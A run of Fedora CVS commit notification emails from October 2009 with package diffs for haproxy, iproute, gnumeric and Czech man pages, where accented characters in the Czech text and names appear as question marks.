+* Mon Oct 12 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.3.21-1
+- update to 1.3.21 
+
 * Sun Oct 11 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.3.20-2
 - relase bump
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/F-12/sources,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- sources	12 Oct 2009 03:17:12 -0000	1.15
+++ sources	12 Oct 2009 06:22:47 -0000	1.16
@@ -1,2 +1 @@
-24d9a068d582758a388f538ae0b307d6  haproxy-1.3.19.tar.gz
-e37046e0cb2f407d92c41d7731d1dd10  haproxy-1.3.20.tar.gz
+d591cc9aca0b81ea8ccda8db958c1f44  haproxy-1.3.21.tar.gz



From mmaslano at fedoraproject.org  Mon Oct 12 07:05:55 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Mon, 12 Oct 2009 07:05:55 +0000 (UTC)
Subject: rpms/iproute/F-12 iproute2-2.6.29-kernel.patch, NONE, 1.1 .cvsignore,
	1.29, 1.30 iproute.spec, 1.98,
	1.99 iproute2-2.6.29-tc_modules.patch, 1.1, 1.2 man-pages.patch,
	1.1, 1.2 sources, 1.29, 1.30 iproute2-2.6.9-kernel.patch, 1.8, NONE
Message-ID: <20091012070555.BF23C11C00DB@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/iproute/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25958

Modified Files:
	.cvsignore iproute.spec iproute2-2.6.29-tc_modules.patch 
	man-pages.patch sources 
Added Files:
	iproute2-2.6.29-kernel.patch 
Removed Files:
	iproute2-2.6.9-kernel.patch 
Log Message:
* Fri Oct  9 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 2.6.29-5.0.20091009gitdaf49fd6
- new official version isn't available but it's needed -> switch to git snapshots


iproute2-2.6.29-kernel.patch:
 Makefile |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE iproute2-2.6.29-kernel.patch ---
diff -up iproute2-20091009/Makefile.kernel iproute2-20091009/Makefile
--- iproute2-20091009/Makefile.kernel	2009-09-21 10:26:11.000000000 +0200
+++ iproute2-20091009/Makefile	2009-10-09 12:27:03.687382422 +0200
@@ -6,6 +6,7 @@ CONFDIR=/etc/iproute2
 DOCDIR=/share/doc/iproute2
 MANDIR=/share/man
 ARPDDIR=/var/lib/arpd
+KERNEL_INCLUDE=/usr/include
 
 # Path to db_185.h include
 DBM_INCLUDE:=$(ROOTDIR)/usr/include


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/iproute/F-12/.cvsignore,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- .cvsignore	25 Mar 2009 12:49:42 -0000	1.29
+++ .cvsignore	12 Oct 2009 07:05:46 -0000	1.30
@@ -1 +1 @@
-iproute2-2.6.29.tar.bz2
+iproute2-20091009.tar.bz2


Index: iproute.spec
===================================================================
RCS file: /cvs/pkgs/rpms/iproute/F-12/iproute.spec,v
retrieving revision 1.98
retrieving revision 1.99
diff -u -p -r1.98 -r1.99
--- iproute.spec	24 Sep 2009 12:09:39 -0000	1.98
+++ iproute.spec	12 Oct 2009 07:05:47 -0000	1.99
@@ -1,25 +1,21 @@
-##%define date_version 070710
+%define date_version 20091009
 %define cbq_version v0.7.3
 
 Summary: Advanced IP routing and network device configuration tools
 Name: iproute
 Version: 2.6.29
-Release: 5%{?dist}
+Release: 5.0.20091009gitdaf49fd6%{?dist}
 Group: Applications/System
-Source: http://developer.osdl.org/dev/iproute2/download/iproute2-%{version}.tar.bz2
-#Source1: iproute-doc-2.6.22.tar.gz
+Source: iproute2-%{date_version}.tar.bz2
+#Source1: http://developer.osdl.org/dev/iproute2/download/iproute2-%{version}.tar.bz2
 URL:	http://linux-net.osdl.org/index.php/Iproute2
 Patch0: man-pages.patch
-Patch1: iproute2-2.6.9-kernel.patch
+Patch1: iproute2-2.6.29-kernel.patch
 Patch2: iproute2-ss050901-opt_flags.patch
-Patch3: iproute-ip-man.patch
-Patch4: iproute2-2.6.25-segfault.patch
-Patch5: iproute2-sharepath.patch
-Patch6: iproute2-2.6.29-fix_headers_for_gre.patch
-Patch7: iproute2-missing-arpd-directory.patch
-Patch8: iproute2-display_ip4ip6tunnels.patch
-Patch9: iproute2-2.6.29-tc_modules.patch
-Patch10: iproute2-2.6.29-IPPROTO_IP_for_SA.patch
+Patch3: iproute2-2.6.25-segfault.patch
+Patch4: iproute2-sharepath.patch
+Patch5: iproute2-2.6.29-tc_modules.patch
+Patch6: iproute2-2.6.29-IPPROTO_IP_for_SA.patch
 
 License: GPLv2+
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -42,18 +38,14 @@ License: GPLv2+
 The iproute documentation contains howtos and examples of settings.
 
 %prep
-%setup -q -n iproute2-%{version}
+%setup -q -n iproute2-%{date_version}
 %patch0 -p1
 %patch1 -p1 -b .kernel
 %patch2 -p1 -b .opt_flags
-%patch3 -p1
-%patch4 -p1 -b .seg
-%patch5 -p1 -b .share
-%patch6 -p1 -b .hdrs
-%patch7 -p1 -b .arpd
-%patch8 -p1 -b .ip4ip6
-%patch9 -p1 -b .ipt
-%patch10 -p1 -b .ipproto
+%patch3 -p1 -b .seg
+%patch4 -p1 -b .share
+%patch5 -p1 -b .ipt
+%patch6 -p1 -b .ipproto
 
 %build
 export LIBDIR=/%{_libdir}
@@ -132,6 +124,9 @@ EOF
 %doc RELNOTES
 
 %changelog
+* Fri Oct  9 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 2.6.29-5.0.20091009gitdaf49fd6
+- new official version isn't available but it's needed -> switch to git snapshots
+
 * Thu Sep 24 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 2.6.29-5
 - create missing man pages
 

iproute2-2.6.29-tc_modules.patch:
 Makefile |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: iproute2-2.6.29-tc_modules.patch
===================================================================
RCS file: /cvs/pkgs/rpms/iproute/F-12/iproute2-2.6.29-tc_modules.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- iproute2-2.6.29-tc_modules.patch	24 Apr 2009 07:49:30 -0000	1.1
+++ iproute2-2.6.29-tc_modules.patch	12 Oct 2009 07:05:47 -0000	1.2
@@ -1,9 +1,9 @@
-diff -up iproute2-2.6.29/Makefile.ipt iproute2-2.6.29/Makefile
---- iproute2-2.6.29/Makefile.ipt	2009-04-23 15:19:19.000000000 +0200
-+++ iproute2-2.6.29/Makefile	2009-04-23 15:27:19.802477954 +0200
-@@ -10,7 +10,7 @@ ARPDDIR=/var/lib/arpd                   
+diff -up iproute2-20091009/Makefile.ipt iproute2-20091009/Makefile
+--- iproute2-20091009/Makefile.ipt	2009-10-09 13:29:27.137385281 +0200
++++ iproute2-20091009/Makefile	2009-10-09 13:32:14.251632048 +0200
+@@ -11,7 +11,7 @@ KERNEL_INCLUDE=/usr/include
  # Path to db_185.h include
- DBM_INCLUDE:=/usr/include
+ DBM_INCLUDE:=$(ROOTDIR)/usr/include
  
 -DEFINES= -DRESOLVE_HOSTNAMES -DLIBDIR=\"$(LIBDIR)\"
 +DEFINES= -DRESOLVE_HOSTNAMES -DLIBDIR=\"$(LIBDIR)\" -DIPT_LIB_DIR=\"$(IPT_LIB_DIR)\"

man-pages.patch:
 cbq.8   |    1 +
 ifcfg.8 |   57 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 ip.8    |    7 +++++++
 nstat.8 |    1 +
 4 files changed, 66 insertions(+)

Index: man-pages.patch
===================================================================
RCS file: /cvs/pkgs/rpms/iproute/F-12/man-pages.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- man-pages.patch	24 Sep 2009 12:09:39 -0000	1.1
+++ man-pages.patch	12 Oct 2009 07:05:47 -0000	1.2
@@ -71,3 +71,27 @@ diff -up /dev/null iproute2-2.6.29/man/m
 @@ -0,0 +1 @@
 +.so man8/rtacct.8
 \ No newline at end of file
+diff -up iproute2-2.6.29/iproute2-2.6.29/man/man8/ip.8.mm iproute2-2.6.29/iproute2-2.6.29/man/man8/ip.8
+--- iproute2-2.6.29/man/man8/ip.8.mm	2008-07-25 22:46:07.000000000 +0200
++++ iproute2-2.6.29/man/man8/ip.8	2008-08-12 14:24:01.000000000 +0200
+@@ -190,6 +190,8 @@ replace " | " monitor " } "
+ .IR NUMBER " ] [ "
+ .B  cwnd
+ .IR NUMBER " ] [ "
++.B  initcwnd
++.IR NUMBER " ] [ "
+ .B  ssthresh
+ .IR REALM " ] [ "
+ .B  realms
+@@ -1480,6 +1482,11 @@ the clamp for congestion window.  It is 
+ flag is not used.
+ 
+ .TP
++.BI initcwnd " NUMBER "
++the maximum initial congestion window (cwnd) size in MSS of a
++TCP connection.
++
++.TP
+ .BI advmss " NUMBER " "(2.3.15+ only)"
+ the MSS ('Maximal Segment Size') to advertise to these
+ destinations when establishing TCP connections.  If it is not given,


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/iproute/F-12/sources,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- sources	25 Mar 2009 12:49:42 -0000	1.29
+++ sources	12 Oct 2009 07:05:47 -0000	1.30
@@ -1 +1 @@
-a3ecfaa091289656fae786b027b44eda  iproute2-2.6.29.tar.bz2
+129797c64d5f79474304142a4213604d  iproute2-20091009.tar.bz2


--- iproute2-2.6.9-kernel.patch DELETED ---



From huzaifas at fedoraproject.org  Mon Oct 12 07:08:36 2009
From: huzaifas at fedoraproject.org (Huzaifa Sidhpurwala)
Date: Mon, 12 Oct 2009 07:08:36 +0000 (UTC)
Subject: rpms/gnumeric/F-11 gnumeric-1.8.4-recent.patch, NONE,
	1.1 gnumeric.spec, 1.45, 1.46
Message-ID: <20091012070836.0BC2D11C00DB@cvs1.fedora.phx.redhat.com>

Author: huzaifas

Update of /cvs/pkgs/rpms/gnumeric/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26784

Modified Files:
	gnumeric.spec 
Added Files:
	gnumeric-1.8.4-recent.patch 
Log Message:
fix rhbz #500890

gnumeric-1.8.4-recent.patch:
 application.c   |    6 +++++-
 application.h   |    4 +++-
 gnm-pane-impl.h |    7 +++----
 gnm-pane.c      |   40 ++++++++++++++++++++++++++++------------
 gnm-plugin.c    |    6 ++++--
 wbc-gtk.c       |    2 +-
 6 files changed, 44 insertions(+), 21 deletions(-)

--- NEW FILE gnumeric-1.8.4-recent.patch ---
>From 9932dc2cafe66b752e965175a3cbe9889819feb5 Mon Sep 17 00:00:00 2001
From: Jody Goldberg <jody at gnome.org>
Date: Sat, 14 Mar 2009 22:21:18 +0000
Subject: clear the 'im_block_edit_start' flag. (gnm_pane_unrealize) : set the flag.

 
diff --git a/src/application.c b/src/application.c
index fccd626..04a47e7 100644
--- a/src/application.c
+++ b/src/application.c
@@ -815,12 +815,14 @@ gnm_action_free (GnmAction *action)
 }
 
 GnmAppExtraUI *
-gnm_app_add_extra_ui (GSList *actions, char *layout,
+gnm_app_add_extra_ui (char const *group_name,
+		      GSList *actions, char *layout,
 		      char const *domain,
 		      gpointer user_data)
 {
 	GnmAppExtraUI *extra_ui = g_new0 (GnmAppExtraUI, 1);
 	extra_uis = g_slist_prepend (extra_uis, extra_ui);
+	extra_ui->group_name = g_strdup (group_name);
 	extra_ui->actions = actions;
 	extra_ui->layout = layout;
 	extra_ui->user_data = user_data;
@@ -832,6 +834,8 @@ void
 gnm_app_remove_extra_ui (GnmAppExtraUI *extra_ui)
 {
 	g_signal_emit (G_OBJECT (app), signals [CUSTOM_UI_REMOVED], 0, extra_ui);
+	g_free (extra_ui->group_name);
+	g_free (extra_ui);
 }
 
 void
diff --git a/src/application.h b/src/application.h
index 18d8837..ccf7c01 100644
--- a/src/application.h
+++ b/src/application.h
@@ -79,6 +79,7 @@ struct _GnmAction {
 	GnmActionHandler	handler;
 };
 typedef struct {
+	char const *group_name;
 	GSList	   *actions;
 	char	   *layout;
 	char const *domain;
@@ -90,7 +91,8 @@ GnmAction *gnm_action_new  (char const *name, char const *label,
 			    GnmActionHandler handler);
 void	   gnm_action_free (GnmAction *action);
 
-GnmAppExtraUI *gnm_app_add_extra_ui (GSList *actions, char *layout,
+GnmAppExtraUI *gnm_app_add_extra_ui (char const *group_name,
+				     GSList *actions, char *layout,
 				     char const *domain,
 				     gpointer user_data);
 void	   gnm_app_remove_extra_ui  (GnmAppExtraUI *extra_ui);
diff --git a/src/gnm-pane-impl.h b/src/gnm-pane-impl.h
index 90578b8..a38e2dc 100644
--- a/src/gnm-pane-impl.h
+++ b/src/gnm-pane-impl.h
@@ -30,14 +30,13 @@ struct _GnmPane {
 	gboolean   sliding_adjacent_h, sliding_adjacent_v;
 
 	/*  IM */
-	guint      reseting_im :1;	/* quick hack to keep gtk_im_context_reset from starting an edit */
+	guint im_block_edit_start :1; /* see gnm_pane_key_press for details */
+	guint im_first_focus	  :1; /* see gnm_pane_init for details */
 	guint      preedit_length;
 	GtkIMContext  *im_context;
 	PangoAttrList *preedit_attrs;
-	gboolean insert_decimal;
-
-
 
+	gboolean insert_decimal;
 
 	int		 index;
 	struct {
diff --git a/src/gnm-pane.c b/src/gnm-pane.c
index 68be0d4..58f1579 100644
--- a/src/gnm-pane.c
+++ b/src/gnm-pane.c
@@ -587,11 +587,15 @@ gnm_pane_key_press (GtkWidget *widget, GdkEventKey *event)
 		event->keyval == GDK_KP_Decimal ||
 		event->keyval == GDK_KP_Separator;
 
-	if (gtk_im_context_filter_keypress (pane->im_context,event))
+	if (gtk_im_context_filter_keypress (pane->im_context, event))
 		return TRUE;
-	pane->reseting_im = TRUE;
+
+	/* in gtk-2.8 something changed.  gtk_im_context_reset started
+	 * triggering a pre-edit-changed.  We'd end up start and finishing an
+	 * empty edit every time the cursor moved */
+	pane->im_block_edit_start = TRUE;
 	gtk_im_context_reset (pane->im_context);
-	pane->reseting_im = FALSE;
+	pane->im_block_edit_start = FALSE;
 
 	if (gnm_pane_key_mode_sheet (pane, event, allow_rangesel))
 		return TRUE;
@@ -628,7 +632,17 @@ static gint
 gnm_pane_focus_in (GtkWidget *widget, GdkEventFocus *event)
 {
 #ifndef GNM_USE_HILDON
+	/* The first call to focus-in was sometimes the first thing to init the
+	 * imcontext.  In which case the im_context_focus_in would fire a
+	 * preedit-changed, and we would start editing. */
+	GnmPane *pane = GNM_PANE (widget);
+	if (pane->im_first_focus)
+		pane->im_block_edit_start = TRUE;
 	gtk_im_context_focus_in (GNM_PANE (widget)->im_context);
+	if (pane->im_first_focus) {
+		pane->im_first_focus = FALSE;
+		pane->im_block_edit_start = FALSE;
+	}
 #endif
 	return (*GTK_WIDGET_CLASS (parent_klass)->focus_in_event) (widget, event);
 }
@@ -645,6 +659,8 @@ gnm_pane_realize (GtkWidget *w)
 {
 	GtkStyle  *style;
 
+	GNM_PANE (w)->im_block_edit_start = FALSE;
+
 	if (GTK_WIDGET_CLASS (parent_klass)->realize)
 		(*GTK_WIDGET_CLASS (parent_klass)->realize) (w);
 
@@ -667,8 +683,10 @@ gnm_pane_unrealize (GtkWidget *widget)
 	pane = GNM_PANE (widget);
 	g_return_if_fail (pane != NULL);
 
-	if (pane->im_context)
+	if (pane->im_context) {
+		pane->im_block_edit_start = TRUE;
 		gtk_im_context_set_client_window (pane->im_context, NULL);
+	}
 
 	(*GTK_WIDGET_CLASS (parent_klass)->unrealize)(widget);
 }
@@ -733,10 +751,7 @@ cb_gnm_pane_preedit_changed (GtkIMContext *context, GnmPane *pane)
 		pango_attr_list_unref (pane->preedit_attrs);
 	gtk_im_context_get_preedit_string (pane->im_context, &preedit_string, &pane->preedit_attrs, &cursor_pos);
 
-	/* in gtk-2.8 something changed.  gtk_im_context_reset started
-	 * triggering a pre-edit-changed.  We'd end up start and finishing an
-	 * empty edit every time the cursor moved */
-	if (!pane->reseting_im &&
+	if (!pane->im_block_edit_start &&
 	    !wbcg_is_editing (wbcg) && !wbcg_edit_start (wbcg, TRUE, TRUE)) {
 		gtk_im_context_reset (pane->im_context);
 		pane->preedit_length = 0;
@@ -911,8 +926,9 @@ gnm_pane_init (GnmPane *pane)
 
 	pane->im_context = gtk_im_multicontext_new ();
 	pane->preedit_length = 0;
-	pane->preedit_attrs = NULL;
-	pane->reseting_im = FALSE;
+	pane->preedit_attrs    = NULL;
+	pane->im_block_edit_start = FALSE;
+	pane->im_first_focus = TRUE;
 
 	GTK_WIDGET_SET_FLAGS (canvas, GTK_CAN_FOCUS);
 	GTK_WIDGET_SET_FLAGS (canvas, GTK_CAN_DEFAULT);
@@ -2062,9 +2078,9 @@ gnm_pane_size_guide_start (GnmPane *pane, gboolean vert, int colrow, int width)
 			"width-pixels", 1,
 			NULL);
 	else {
-		static char const dat [] = { 0x22, 0x88, 0x22, 0x88, 0x22, 0x88, 0x22, 0x88 };
+		static unsigned char const dat [] = { 0x22, 0x88, 0x22, 0x88, 0x22, 0x88, 0x22, 0x88 };
 		GdkBitmap *stipple = gdk_bitmap_create_from_data (
-			GTK_WIDGET (pane)->window, dat, 8, 8);
+			GTK_WIDGET (pane)->window, (const gchar *)dat, 8, 8);
 		foo_canvas_item_set (pane->size_guide.guide, "fill-stipple", stipple, NULL);
 		g_object_unref (stipple);
 	}
diff --git a/src/gnm-plugin.c b/src/gnm-plugin.c
index d546a39..dd659bd 100644
--- a/src/gnm-plugin.c
+++ b/src/gnm-plugin.c
@@ -363,7 +363,7 @@ plugin_service_ui_activate (GOPluginService *service, ErrorInfo **ret_error)
 	PluginServiceUI *service_ui = GNM_PLUGIN_SERVICE_UI (service);
 	GError *err = NULL;
 	char *full_file_name;
-	char *xml_ui;
+	char *xml_ui, *group_name;
 	char const *textdomain;
 
 	GO_INIT_RET_ERROR_INFO (ret_error);
@@ -380,9 +380,11 @@ plugin_service_ui_activate (GOPluginService *service, ErrorInfo **ret_error)
 	g_free (full_file_name);
 
 	textdomain = go_plugin_get_textdomain (service->plugin);
-	service_ui->layout_id = gnm_app_add_extra_ui (
+	group_name = g_strconcat (go_plugin_get_id (service->plugin), service->id, NULL);
+	service_ui->layout_id = gnm_app_add_extra_ui (group_name,
 		service_ui->actions,
 		xml_ui, textdomain, service);
+	g_free (group_name);
 	service->is_active = TRUE;
 }
 
diff --git a/src/wbc-gtk.c b/src/wbc-gtk.c
index 6a7db0c..d687aa8 100644
--- a/src/wbc-gtk.c
+++ b/src/wbc-gtk.c
@@ -3010,7 +3010,7 @@ cb_add_custom_ui (G_GNUC_UNUSED GnmApp *app,
 	GtkAction       *res;
 
 	details = g_new0 (CustomUIHandle, 1);
-	details->actions = gtk_action_group_new ("DummyName");
+	details->actions = gtk_action_group_new (extra_ui->group_name);
 
 	for (ptr = extra_ui->actions; ptr != NULL ; ptr = ptr->next) {
 		action = ptr->data;



Index: gnumeric.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnumeric/F-11/gnumeric.spec,v
retrieving revision 1.45
retrieving revision 1.46
diff -u -p -r1.45 -r1.46
--- gnumeric.spec	13 Apr 2009 09:46:18 -0000	1.45
+++ gnumeric.spec	12 Oct 2009 07:08:35 -0000	1.46
@@ -1,7 +1,7 @@
 Name:             gnumeric
 Epoch:            1
 Version:          1.8.4
-Release:          2%{?dist}
+Release:          3%{?dist}
 Summary:          Spreadsheet program for GNOME
 Group:            Applications/Productivity
 # bug filed upstream about this being GPL v2 only:
@@ -12,6 +12,7 @@ Source:           ftp://ftp.gnome.org/pu
 Patch0:		  gnumeric-1.8.4-desktop.patch
 Patch1:           gnumeric-1.8.1-gnomedb-vercheck.patch
 Patch2:		  gnumeric-1.8.2-python.patch
+Patch3:		  gnumeric-1.8.4-recent.patch
 BuildRoot:        %{_tmppath}/%{name}-%{version}-root
 BuildRequires:    libgnomeui-devel >= 2.4.0
 BuildRequires:    libgnomeprintui22-devel >= 2.8.2
@@ -63,7 +64,7 @@ This package contains the following addi
 %patch0 -p1 -b .desktop
 %patch1 -p1
 %patch2 -p1 -b .new
-
+%patch3 -p1
 chmod -x plugins/excel/rc4.?
 
 
@@ -191,6 +192,9 @@ fi
 
 
 %changelog
+* Mon Oct 12 2009 Huzaifa Sidhpurwala <huzaifas at redhat.com> 1:1.8.4-3
+- Resolve rhbz #500890
+
 * Mon Apr 13 2009 Huzaifa Sidhpurwala <huzaifas at redhat.com> 1:1.8.4-2
 - Resolved rhbz #495314
 



From mmaslano at fedoraproject.org  Mon Oct 12 07:13:57 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Mon, 12 Oct 2009 07:13:57 +0000 (UTC)
Subject: rpms/iproute/F-12 iproute.spec, 1.99, 1.100 iproute-ip-man.patch,
	1.8, NONE iproute2-2.6.29-fix_headers_for_gre.patch, 1.2,
	NONE iproute2-display_ip4ip6tunnels.patch, 1.2,
	NONE iproute2-missing-arpd-directory.patch, 1.2, NONE
Message-ID: <20091012071357.1EB2D11C00DB@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/iproute/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28730

Modified Files:
	iproute.spec 
Removed Files:
	iproute-ip-man.patch iproute2-2.6.29-fix_headers_for_gre.patch 
	iproute2-display_ip4ip6tunnels.patch 
	iproute2-missing-arpd-directory.patch 
Log Message:
Clean patches, correct spec.



Index: iproute.spec
===================================================================
RCS file: /cvs/pkgs/rpms/iproute/F-12/iproute.spec,v
retrieving revision 1.99
retrieving revision 1.100
diff -u -p -r1.99 -r1.100
--- iproute.spec	12 Oct 2009 07:05:47 -0000	1.99
+++ iproute.spec	12 Oct 2009 07:13:56 -0000	1.100
@@ -124,7 +124,7 @@ EOF
 %doc RELNOTES
 
 %changelog
-* Fri Oct  9 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 2.6.29-5.0.20091009gitdaf49fd6
+* Mon Oct 12 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 2.6.29-5.0.20091009gitdaf49fd6
 - new official version isn't available but it's needed -> switch to git snapshots
 
 * Thu Sep 24 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 2.6.29-5


--- iproute-ip-man.patch DELETED ---


--- iproute2-2.6.29-fix_headers_for_gre.patch DELETED ---


--- iproute2-display_ip4ip6tunnels.patch DELETED ---


--- iproute2-missing-arpd-directory.patch DELETED ---



From varekova at fedoraproject.org  Mon Oct 12 07:24:31 2009
From: varekova at fedoraproject.org (Ivana Varekova)
Date: Mon, 12 Oct 2009 07:24:31 +0000 (UTC)
Subject: rpms/man-pages-cs/devel man-pages-cs-06.patch, NONE,
	1.1 man-pages-cs.spec, 1.27, 1.28
Message-ID: <20091012072431.E7D2B11C00DB@cvs1.fedora.phx.redhat.com>

Author: varekova

Update of /cvs/pkgs/rpms/man-pages-cs/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30692

Modified Files:
	man-pages-cs.spec 
Added Files:
	man-pages-cs-06.patch 
Log Message:
- add another patches created by Ludek Dolihal


man-pages-cs-06.patch:
 man2/send.2        |  296 ++++++++++++++++++++++++++++++++++++++++++-----------
 man3/acosh.3       |   53 +++++++--
 man3/atanh.3       |   66 +++++++++--
 man3/atof.3        |   15 +-
 man3/atol.3        |   46 ++++++--
 man3/expm1.3       |   77 +++++++++++--
 man3/getprotoent.3 |   34 +++---
 man3/getservent.3  |   43 ++++---
 man3/index.3       |   12 +-
 9 files changed, 491 insertions(+), 151 deletions(-)

--- NEW FILE man-pages-cs-06.patch ---
diff -ur man-pages-cs-0.18.20090209-orig/man-pages/man2/send.2 man-pages-cs-0.18.20090209/man-pages/man2/send.2
--- man-pages-cs-0.18.20090209-orig/man-pages/man2/send.2	1999-05-31 19:28:28.000000000 +0200
+++ man-pages-cs-0.18.20090209/man-pages/man2/send.2	2009-10-08 10:16:16.000000000 +0200
@@ -1,4 +1,5 @@
-.TH SEND 2 "2. ?ervence 1997" "BSD Man Page" "Linux - p??ru?ka program?tora"
+.\" Aktualizov?no podle man-pages-3.09-2 z distribuce Fedora 10
+.TH SEND 2 "5 ??jna 2009" "BSD Man Page" "Linux - p??ru?ka program?tora"
 .do hla cs
 .do hpf hyphen.cs
 .SH JM?NO
@@ -8,111 +9,284 @@
 .br
 .B #include <sys/socket.h>
 .sp 2
-.BI "int send(int " s ", const void *" msg ", int " len ","
-.BI "unsigned int " flags );
+.BI "ssize_t send(int " s ", const void *" msg ", size_t " len ",int " flags " );
 .sp
-.BI "int sendto(int " s ", const void *" msg ", int " len ","
-.BI "unsigned int " flags ", const struct sockaddr *" to ", int " tolen );
+.BI "ssize_t sendto(int " s ", const void *" msg ", size_t " len ",int " flags ",
+              \fBconst struct sockaddr *\fP \fIto\fP \fB, socklen_t\fP \fItolen\fP \fB);\fP
 .sp
-.BI "int sendmsg(int " s ", const struct msghdr *" msg ","
-.BI "unsigned int " flags );
+.BI "ssize_t sendmsg(int " s ", const struct msghdr *" msg ", int " flags " );
 .SH POPIS
-.BR Send ,
-.BR sendto ,
+\fBSend\fP() ,
+\fBsendto\fP() ,
 a
-.B sendmsg
+\fBsendmsg\fP()
 se pou??vaj? k zas?l?n? zpr?v do jin?ch soket?.
+
+
 .B Send
 m??e b?t pou?ito pouze, je-li soket
 .I spojen?
-zat?mco
-.B sendto
-a
-.B sendmsg
-mohou b?t pou?ity kdykoliv.
+(tak?e je zn?m p??jemce zpr?vy).
+Jedin? rozd?l mezi \fBsend\fP() a \fBwrite\fP(2)
+je p??tomnost \fIflag?\fP. Pokud je prom?nn? \fIflag\fPy
+v \fBsend\fP() je to ekvivalentn? s vol?n?m \fBwrite\fP(2).
+send(s,buf,len,flags)
+je ekvivalentn? sendto(s,buf,len,flags, NULL,0).
 
-Adresa c?lov?ho soketu je zad?na parametrem
+Parametr \fIs\fP je deskriptor odes?laj?c?ho soketu.
+
+Pokud je \fBsendto\fP() pou?ito ve spojovan?m m?du
+(\fBSOCK_STREAM, SOCK_SEQPACKET\fP) jsou parametry
 .I to
 a
 .I tolen
-specifikuje jeho velikost. Adresa zpr?vy je zad?na v argumentu
-.IR len .
-Je-li zpr?va p??li? dlouh?, aby mola b?t posl?na atomicky, je vr?cena chyba
-.B EMSGSIZE
+ignorov?ny(a chyba \fBEISCONN\fP m??e b?t vr?cena,
+pokud nejsou NULL a 0) a chyba \fBENOTCONN\fP je vr?cena,
+pokud nebyl soket p?ipojen. Jinak je adresa c?le d?na v
+.I to
+a
+.I tolen
+specifikuje jeho velikost. Pro \fBsendmsg\fP()
+je adresa zad?na pomoc?
+.I msg.msg_name
+a
+.I msg.msg_namelen
+specifikuje jeho velikost.
+
+Pro \fBsend\fP() a \fBsendto\fP() je zpr?va ulo?ena v
+.I buf
+a m? d?lku
+.I len
+.
+Pro \fBsendmsg\fP() je zpr?va indexov?na jednotliv?mi prvky pole
+.I msg.msg_iov. Vol?n? \fBsendmsg\fP() umo??uje tak? pos?lat
+p?idru?en? data (zn?m? tak? jako kontroln? informace).
+
+Pokud je zpr?va p??li? dlouh? na to, aby pro?la atomicky
+skrze protokol ni??? vrstvy, je vr?cena chyba \fBEMGSIZE\fP
 a zpr?va nen? posl?na.
 
 Funkce send neposkytuje ??dnou mo?nost indikace spr?vn?ho doru?en?.
 Lok?ln? detekovan? chyby jsou indikov?ny n?vratovou hodnotou \-1.
 
-Pokud nen? k dispozici ??dn? voln? m?sto pro zpr?vu p?ed jej?m p?enosem,
-.B send
-se norm?ln? zablokuje, pokud soket nen? v neblokuj?c?m m?du.
-Vol?n?
-.BR select (2)
-m??e b?t pou?ito k zji?t?n?, je-li mo?no poslat dal?? data.
+Pokud se zpr?va nevejde do v?stupn?ho bufferu soketu, pak \fBsend\fP()
+za b??n?ch okolnost? tuto zpr?vu blokuje, pokud ov?em nen? nastaven
+neblokuj?c? I/O m?d. V neblokuj?c?m m?du je v takov?m p??pad? vr?cena
+hodnota
+.B EAGAIN
+.
+Funkce \fBselect\fP(2) m??e b?t zavol?na, aby ur?ila, kdy je mo?n?
+zas?lat dal?? data.
 
 Parametr
 .I flags
-m??e obsahovat jednu nebo v?ce z n?sleduj?c?ch hodnot:
+je bu? bitov?, nulov? nebo sest?v? z v?ce n?sleduj?c?ch flag?.
+.TP
+\fB MSG_CONFIRM\fP (pouze Linux 2.3+)
+?ekne linkov? vrstv?, ?e nastal proces p?eposl?n?:
+obdr?eli jsme odpov?? od druh? strany. Pokud toto
+linkov? vrstva nedostane, bude neust?le cyklicky dotazovat
+souseda(nap??klad pomoc? ARP). Plat? pouze na
+.B SOCK_DGRAM
+a
+.B SOCK_RAW
+soketech a implementov?no pouze pro IPv4 a IPv6. Pro v?ce
+informac? viz \fB arp\fP(7).
 
-.RS
-.nf
-#define	MSG_OOB        0x1  /* zpracuj out-of-band data */
-#define	MSG_DONTROUTE  0x4  /* obejdi routing, pou?ij p??m? rozhran?*/
-.fi
-.RE
+.TP
+\fB MSG_DONTROUTE
+Nepou??vej br?nu pro odes?l?n? paketu do jin? s?t?.
+Pos?lej pakety pouze host?m, kte?? jsou p??mo p?ipojeni k s?ti.
+Toto nastaven? je obvykle pou??v?no pouze diagnostick?mi
+a sm?rovac?mi programy. Definov?no pouze pro rodiny, kter? sm?ruj?.
+Paketov? sokety nesm?ruj?.
+
+.TP
+\fB MSG_DONTWAIT\fP (od Linuxu 2.2)
+Umo??uje neblokuj?c? operace; pokud by operace blokovala
+je vr?ceno
+.B EAGAIN
